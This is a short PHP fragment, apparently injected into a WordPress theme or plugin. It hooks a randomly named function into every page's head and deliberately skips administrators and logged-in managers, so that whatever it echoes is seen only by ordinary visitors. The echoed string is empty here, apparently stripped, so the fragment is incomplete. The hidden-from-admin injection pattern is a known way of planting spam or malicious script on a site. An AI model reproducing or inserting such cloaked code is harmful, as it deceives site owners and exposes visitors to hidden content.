?> if (!function_exists('f5cda30b4')) { function f5cda30b4() { if (is_admin() || (function_exists('is_user_logged_in') && is_user_logged_in() && function_exists('current_user_can') && current_user_can('manage_options'))) { return; } echo '' . "\n"; } } add_action('wp_head', 'f5cda30b4', 999);